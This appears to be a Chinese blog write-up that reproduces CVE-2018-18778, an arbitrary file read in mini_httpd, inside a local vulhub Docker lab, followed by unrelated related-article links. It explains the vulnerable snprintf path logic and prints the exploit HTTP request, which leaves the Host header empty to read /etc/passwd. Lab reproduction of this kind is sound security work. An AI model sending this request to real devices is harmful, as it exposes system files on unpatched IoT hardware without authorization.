CVE-2018-18778 mini_httpd任意文件读取

简介: CVE-2018-18778 mini_httpd任意文件读取

漏洞简介

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码,分析如下:

  • 当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
  • 当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd

后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。

环境搭建

执行如下命令启动mini_httpd 1.29:

(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd]
└─# cd CVE-2018-18778                   
┌──(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd/CVE-2018-18778]
└─# docker-compose up -d
Creating network "cve-2018-18778_default" with the default driver
Pulling web (vulhub/mini_httpd:1.29)...
1.29: Pulling from vulhub/mini_httpd
61be48634cb9: Pull complete
fa696905a590: Pull complete
be37244639af: Pull complete
1a50d92daf1a: Pull complete
Digest: sha256:14536977b28d9ef67df67bda62dec54b76bc756460bbd0b0786feabf69ff7535
Status: Downloaded newer image for vulhub/mini_httpd:1.29
Creating cve-2018-18778_web_1 ... done
┌──(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd/CVE-2018-18778]
└─#

环境启动后,访问http://127.0.0.1:8080即可看到Web页面。

漏洞复现

http://127.0.0.1:8080/抓包

发送请求是将Host置空,PATH的值是文件绝对路径:

GET /etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; section_data_ids=%7B%22cart%22%3A1638415333%2C%22customer%22%3A1638415332%2C%22compare-products%22%3A1638415332%2C%22product_data_storage%22%3A1638415332%2C%22last-ordered-items%22%3A1638415332%2C%22directory-data%22%3A1638415332%2C%22instant-purchase%22%3A1638415332%2C%22review%22%3A1638415332%2C%22wishlist%22%3A1638415332%2C%22recently_viewed_product%22%3A1638415332%2C%22recently_compared_product%22%3A1638415332%2C%22paypal-billing-agreement%22%3A1638415332%7D; mage-cache-sessid=true; private_content_version=e48e945c4e066c5afa30b51edd7c4541
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

如果没有cookie,session等值会显示UNKNOWN 408 Request Timeout

相关文章
|
2天前
|
Linux 开发工具 Perl
在Linux中,有一个文件,如何删除包含“www“字样的字符?
在Linux中,如果你想删除一个文件中包含特定字样(如“www”)的所有字符或行,你可以使用多种文本处理工具来实现。以下是一些常见的方法:
18 5
|
4月前
|
自然语言处理 安全 前端开发
taoCMS v3.0.2 任意文件读取(CVE-2022-23316)
taoCMS v3.0.2 任意文件读取(CVE-2022-23316)
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
587 1
|
Linux
Linux不停止服务快速清空日志文件(包含所有文件,不光是日志)
Linux不停止服务快速清空日志文件(包含所有文件,不光是日志)
124 0
|
Shell Linux Perl
Linux下使用脚本读取参数修改配置文件(一)
Linux下使用脚本读取参数修改配置文件
1096 0
Linux下使用脚本读取参数修改配置文件(一)
|
Linux Shell vr&ar
Linux下使用脚本读取参数修改配置文件(二)
Linux下使用脚本读取参数修改配置文件
190 0
|
缓存 Linux C语言
Linux下程序启动之后的初始化---检查配置文件及读取日志配置项的值
在程序进行具体的操作之前,一些初始化操作是必不可少的。本文中的示例只是涉及到检查配置文件和读取日志配置项两个操作,在实际的应用中可能还会有初始化数据库参数、建立与其他模块的通信链路等操作,这要视不同的程序而定。
2058 0
|
安全 PHP 数据安全/隐私保护
PHPMailer命令执行及任意文件读取漏洞
  今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。
2698 0